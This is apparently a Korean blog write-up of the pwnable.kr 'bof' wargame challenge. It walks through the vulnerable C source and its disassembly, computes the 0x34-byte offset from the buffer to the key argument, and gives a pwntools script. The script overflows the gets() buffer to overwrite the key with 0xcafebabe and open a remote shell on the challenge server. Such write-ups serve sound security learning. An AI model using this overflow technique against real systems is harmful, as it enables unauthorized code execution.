본문 바로가기

포너블

[pwnable.kr/포너블] bof

https://pwnable.kr/play.php

 

https://pwnable.kr/play.php

 

pwnable.kr

 

우선 wget으로 bof.c, 실행 파일을 다운 받았다.

코드부터 보자

 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}

1. func() 함수의 인자로 0xdeadbeef를 넘겨 줌

2. func() 함수에서 overflowme 배열 선언

3. gets로 배열에 값 입력 받기

4. 인자로 받은 key의 값이 0xcafebabe명 명령어 실행 가능

 

gets로 문자열을 입력받으므로 bof가 가능하다. key의 값이 0xcafebabe면 되므로, key의 주소를 찾아 0xcafebabe를 넣어 주면 될 것 같다.

우선 스택이 어떻게 이루어져 있는지 보기 위해 main, func 함수의 어셈블리어를 보자

 

main

0x0000068a <+0>:     push   ebp
0x0000068b <+1>:     mov    ebp,esp
0x0000068d <+3>:     and    esp,0xfffffff0
0x00000690 <+6>:     sub    esp,0x10
0x00000693 <+9>:     mov    DWORD PTR [esp],0xdeadbeef
0x0000069a <+16>:    call   0x62c <func>
0x0000069f <+21>:    mov    eax,0x0
0x000006a4 <+26>:    leave
0x000006a5 <+27>:    ret

func

0x0000062c <+0>:     push   ebp
0x0000062d <+1>:     mov    ebp,esp
0x0000062f <+3>:     sub    esp,0x48
0x00000632 <+6>:     mov    eax,gs:0x14
0x00000638 <+12>:    mov    DWORD PTR [ebp-0xc],eax
0x0000063b <+15>:    xor    eax,eax
0x0000063d <+17>:    mov    DWORD PTR [esp],0x78c
0x00000644 <+24>:    call   0x645 <func+25>
0x00000649 <+29>:    lea    eax,[ebp-0x2c]
0x0000064c <+32>:    mov    DWORD PTR [esp],eax
0x0000064f <+35>:    call   0x650 <func+36>
0x00000654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
0x0000065b <+47>:    jne    0x66b <func+63>
0x0000065d <+49>:    mov    DWORD PTR [esp],0x79b
0x00000664 <+56>:    call   0x665 <func+57>
0x00000669 <+61>:    jmp    0x677 <func+75>
0x0000066b <+63>:    mov    DWORD PTR [esp],0x7a3
0x00000672 <+70>:    call   0x673 <func+71>
0x00000677 <+75>:    mov    eax,DWORD PTR [ebp-0xc]
0x0000067a <+78>:    xor    eax,DWORD PTR gs:0x14
0x00000681 <+85>:    je     0x688 <func+92>
0x00000683 <+87>:    call   0x684 <func+88>
0x00000688 <+92>:    leave
0x00000689 <+93>:    r

<func+3>에서 총 0x48바이트만큼 할당이 되어 있는 것을 볼 수 있다.

<func+29>에서 overflowme 배열이 ebp-0x2c에 있다는 것을 알 수 있다.

cafebabe와 key를 비교하는 부분은 <func+40>으로, key는 ebp+0x8에 위치해 있다.

 

대강 스택을 그려 보면 이런 모습으로, overflowme와 key는 0x2c + 0x8 = 0x34의 차이가 있다.

이제 0x34는 쓰레기값으로 채워 주고, key의 주소에 0xcafebabe를 넣어 보자.

 

from pwn import *

p = remote("pwnable.kr", 9000)

payload = b"a"*0x34

payload += b"\xbe\xba\xfe\xca"

p.sendline(payload)
p.interactive()

0xcafebabe를 넣을 땐 리틀 엔디안 형식으로 넣어 주었다.

 

이를 싱핼시켜 보면 

권한을 얻고, cat으로 플래그를 얻을 수 있다.

'포너블' 카테고리의 다른 글

[포너블/pwnable.kr] cmd2  (0) 2023.08.30
[포너블/pwnable.kr] cmd1  (0) 2023.08.30
[포너블/pwnable.kr] passcode  (0) 2023.08.30
[포너블/pwnable.kr] blackjack  (0) 2023.08.30
[pwnable.kr/포너블] random  (0) 2023.08.24